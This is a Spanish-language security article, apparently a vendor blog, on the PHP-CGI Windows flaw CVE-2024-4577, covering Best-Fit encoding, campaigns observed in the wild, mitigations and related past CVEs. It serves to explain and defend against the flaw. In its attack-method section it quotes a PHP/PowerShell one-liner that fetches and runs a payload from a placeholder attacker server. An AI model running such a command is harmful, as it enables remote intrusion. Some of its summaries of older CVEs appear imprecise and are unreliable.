Vulnerabilidad crítica CVE-2024-4577: Entender la amenaza y su explotación en la naturaleza
Introducción
Una vulnerabilidad crítica en PHP para Windows (CVE-2024-4577) se ha convertido en un importante problema de ciberseguridad desde su revelación en junio de 2024. Con una puntuación CVSS de 9,8, esta vulnerabilidad de alta gravedad de ejecución remota de código afecta a todas las versiones de PHP en sistemas Windows. Lo que hace que esta vulnerabilidad sea especialmente preocupante no es sólo su gravedad, sino la explotación generalizada que las empresas de inteligencia de amenazas han observado desde enero de 2025.
La corrección de CVE-2024-4577 para PHP en Windows está disponible a través del servicio PHP Endless Lifecycle Support de TuxCare. Windows es ahora una plataforma soportada por PHP ELS.
Este artículo explora CVE-2024-4577 en profundidad, examinando cómo funciona, cómo está siendo explotado, y lo que las organizaciones pueden hacer para protegerse. Aunque ya hemos escrito sobre esta vulnerabilidad en particular en un artículo anteriorel factor "explotación in the wild" lo hace relevante una vez más.
Profundización técnica: Comprender la vulnerabilidad
CVE-2024-4577 es una vulnerabilidad de ejecución remota de código (RCE) que afecta a instalaciones PHP basadas en Windows que utilizan configuraciones CGI. La vulnerabilidad existe porque la implementación de PHP en Windows no tenía en cuenta correctamente el comportamiento "Best-Fit" en las páginas de código de Windows.
El mecanismo de comportamiento "más adecuado
El núcleo de esta vulnerabilidad es una función de conversión de codificación específica de Windows conocida como "Best-Fit". Esta función controla cómo se convierten los caracteres Unicode a los caracteres ANSI más parecidos cuando el carácter exacto no puede representarse en la página de códigos de destino.
Cuando Windows realiza esta conversión en argumentos de línea de comandos:
- Los caracteres que no pueden representarse directamente en la página de códigos de destino se sustituyen por caracteres de aspecto similar.
- Estas sustituciones siguen una tabla de correspondencias "best-fit" integrada en Windows
- El módulo PHP-CGI interpreta entonces erróneamente estos caracteres convertidos como opciones de línea de comandos PHP
Este comportamiento crea una situación peligrosa en la que entradas especialmente diseñadas pueden transformarse en argumentos de línea de comandos que PHP procesará como opciones.
¿Qué hace que esta vulnerabilidad sea peligrosa?
Esta vulnerabilidad es particularmente insidiosa porque elude las protecciones implementadas para una vulnerabilidad de hace una década (CVE-2012-1823), que era un problema similar en el que el módulo php-cgi procesaba parámetros de cadenas de consulta como argumentos de línea de comandos.
El problema se agrava en entornos lingüísticos específicos:
- Chino tradicional (Código de la página 950)
- Chino simplificado (página de códigos 936)
- Japonés (página de códigos 932)
Sin embargo, los investigadores han advertido de que los escenarios de explotación no pueden enumerarse completamente para otras configuraciones regionales como inglés, coreano y europeo occidental, lo que convierte a esta vulnerabilidad en una amenaza potencial para una amplia gama de implantaciones de PHP en Windows.
Explotación en la naturaleza
Desde enero de 2025, las empresas de seguridad han observado una explotación masiva de CVE-2024-4577. Según GreyNoise, su "Global Observation Grid" detectó 1.089 direcciones IP únicas que intentaban explotar esta vulnerabilidad solo en enero de 2025. Además, ahora hay 79 exploits disponibles públicamente dirigidos a esta vulnerabilidad.
Metodología de ataque
Los actores de amenazas suelen explotar esta vulnerabilidad a través de los siguientes pasos:
- Acceso inicial: Los atacantes utilizan un script Python (como "PHP-CGI_CVE-2024-4577_RCE.py") para comprobar si una URL de destino es vulnerable mediante el envío de peticiones POST específicamente diseñadas.
- Ejecución de código: Tras una explotación exitosa, los atacantes ejecutan comandos PowerShell incrustados en código PHP:
<?php system (‘powershell -c “Invoke-Expression (New-Object System.Net.WebClient).DownloadString(\’http[://]attacker-server[:]port/payload[.]ps1\’)”‘);?>
- Entrega de carga útil: El script PowerShell descarga y ejecuta una carga útil de segunda etapa que a menudo contiene shellcode Cobalt Strike.
- Post-Exploitation: Una vez dentro del sistema, los atacantes:
- Elevar los privilegios utilizando herramientas como JuicyPotato, RottenPotato y SweetPotato.
- Establecer la persistencia mediante modificaciones del registro, tareas programadas y servicios maliciosos.
- Borrar los registros de eventos para cubrir sus huellas
- Llevar a cabo el reconocimiento de la red para el movimiento lateral
- Extraer credenciales con herramientas como Mimikatz
Campañas de ataque destacadas
Los investigadores de seguridad han identificado varias campañas de ataque organizadas:
- Dirigirse a las organizaciones japonesas: Cisco Talos documentó ataques dirigidos principalmente a organizaciones japonesas de diversos sectores, como la educación, el ocio, el comercio electrónico, la tecnología y las telecomunicaciones. Los atacantes utilizaron el kit Cobalt Strike "TaoWu" para las actividades posteriores a la explotación.
- Campaña mundial contra la explotación: GreyNoise informó de que la actividad de explotación se ha extendido más allá de Japón, con picos notables en EE.UU., Reino Unido, Singapur, Indonesia, Taiwán, Hong Kong, India, España y Malasia. Más del 43% de las IP atacantes procedían de Alemania y China.
Por qué esta vulnerabilidad permite otras vulnerabilidades
CVE-2024-4577 es especialmente preocupante porque permite que otras vulnerabilidades se vuelvan más peligrosas. Esto se debe a varios factores:
- Efecto Reacción en Cadena: Una explotación exitosa da a los atacantes capacidades directas de ejecución de código, que pueden utilizarse para explotar vulnerabilidades previamente inalcanzables que requieren acceso local.
- Habilitador de escalada de privilegios: Una vez dentro de un sistema, los atacantes pueden desplegar herramientas de escalada de privilegios, convirtiendo potencialmente vulnerabilidades de baja gravedad en críticas.
- Mecanismo de persistencia: La vulnerabilidad permite a los atacantes establecer persistencia, creando oportunidades para explotar futuras vulnerabilidades que puedan surgir.
- Anulación de mitigaciones anteriores: Esta vulnerabilidad elude específicamente las mitigaciones para CVE-2012-1823, destacando cómo los problemas de conversión de codificación pueden socavar las medidas de seguridad.
Medidas paliativas y recomendaciones
Las organizaciones que ejecutan PHP en sistemas Windows deben tomar las siguientes medidas inmediatamente:
- Actualizar PHP: Actualizar a versiones parcheadas:
- PHP 8.1.29
- PHP 8.2.20
- PHP 8.3.8
- Modelos de implantación alternativos: Considere usar PHP con un modelo de servidor diferente a CGI, como PHP-FPM.
- Cortafuegos de aplicaciones web (WAF): Despliegue un WAF que pueda detectar y bloquear los intentos de explotación de CVE-2024-4577.
- Supervisión del sistema: Implemente un registro y una supervisión sólidos para detectar actividades posteriores a la explotación.
- Segmentación de la red: Limite el potencial de movimiento lateral implementando una segmentación de red adecuada.
- Auditorías periódicas de seguridad: Realice evaluaciones de seguridad periódicas para identificar y abordar posibles vulnerabilidades.
Contexto histórico: Vulnerabilidades de conversión de codificación similares
CVE-2024-4577 no es la primera vulnerabilidad que explota mecanismos de conversión de codificación. Varios ejemplos notables ponen de relieve cómo estos mecanismos han sido puntos débiles de seguridad:
Anteriores Vulnerabilidades de codificación relacionadas con PHP
- CVE-2010-4645: Una vulnerabilidad en el manejo de PHP de conjuntos de caracteres multibyte que permitía a los atacantes eludir el filtrado de entrada. Aunque no explotaba directamente el comportamiento Best-Fit, demostraba cómo los problemas de codificación de caracteres podían dar lugar a problemas de seguridad.
- CVE-2015-2348: Esta vulnerabilidad en PHP permitía a los atacantes inyectar parámetros de consulta arbitrarios aprovechando problemas de conversión Unicode. Similar a CVE-2024-4577, implicaba la interpretación errónea de caracteres tras la conversión.
Problemas de codificación en Windows
- CVE-2016-3238: Una vulnerabilidad en Windows que permitía la elevación de privilegios a través del mapeo de caracteres Unicode. Los atacantes podían utilizar archivos especialmente diseñados con nombres que contuvieran caracteres Unicode específicos que, al convertirse, serían interpretados de forma diferente por los distintos componentes de Windows.
- CVE-2019-1388: Aunque se trata principalmente de una vulnerabilidad de suplantación de IU, este exploit aprovechaba la forma en que Windows gestionaba los caracteres Unicode en los cuadros de diálogo de los certificados, lo que demostraba cómo la conversión de la codificación podía confundir a los componentes del sistema.
- CVE-2020-0687: Una vulnerabilidad de ejecución remota de código en Windows que implicaba un manejo inadecuado de caracteres Unicode, permitiendo a los atacantes ejecutar código si un usuario visualizaba un documento especialmente diseñado.
Vulnerabilidades del marco de aplicaciones web
- CVE-2020-10735: Una vulnerabilidad de denegación de servicio en Python que involucraba el manejo de caracteres Unicode. Los atacantes podrían causar un consumo excesivo de CPU explotando cómo Python convierte entre diferentes representaciones Unicode.
- CVE-2021-42574: La vulnerabilidad "Trojan Source" que afectaba a múltiples lenguajes de programación. Esta vulnerabilidad explotaba caracteres de control Unicode bidireccionales (BiDi) para crear código fuente que parecía diferente del que se ejecutaba en realidad.
Estas vulnerabilidades históricas demuestran que los mecanismos de conversión de codificación han sido un desafío de seguridad persistente en varias plataformas y lenguajes. El comportamiento Best-Fit explotado en CVE-2024-4577 representa una variante particularmente peligrosa porque afecta directamente a la interpretación de la línea de comandos, dando potencialmente a los atacantes capacidades directas de ejecución de código.
Reflexiones finales
CVE-2024-4577 representa una amenaza significativa para las organizaciones que ejecutan PHP en servidores Windows. La explotación de la vulnerabilidad en la naturaleza, combinada con su capacidad para habilitar otras vulnerabilidades, la hace particularmente peligrosa.
Los equipos de seguridad deberían dar prioridad a parchear esta vulnerabilidad e implementar las mitigaciones apropiadas. Además, esta vulnerabilidad sirve como recordatorio importante de que los mecanismos de conversión de codificación pueden introducir fallos de seguridad sutiles que eludan las protecciones existentes, lo que pone de relieve la necesidad de realizar pruebas de seguridad exhaustivas en diferentes entornos de lenguaje y páginas de código.
Al comprender la mecánica de CVE-2024-4577 y el panorama actual de explotación, las organizaciones pueden protegerse mejor contra esta amenaza crítica.
Fuentes:
https://www.securityweek.com/mass-exploitation-of-critical-php-vulnerability-begins/
https://www.securityweek.com/php-patches-critical-remote-code-execution-vulnerability/
https://blog.talosintelligence.com/new-persistent-attacks-japan/


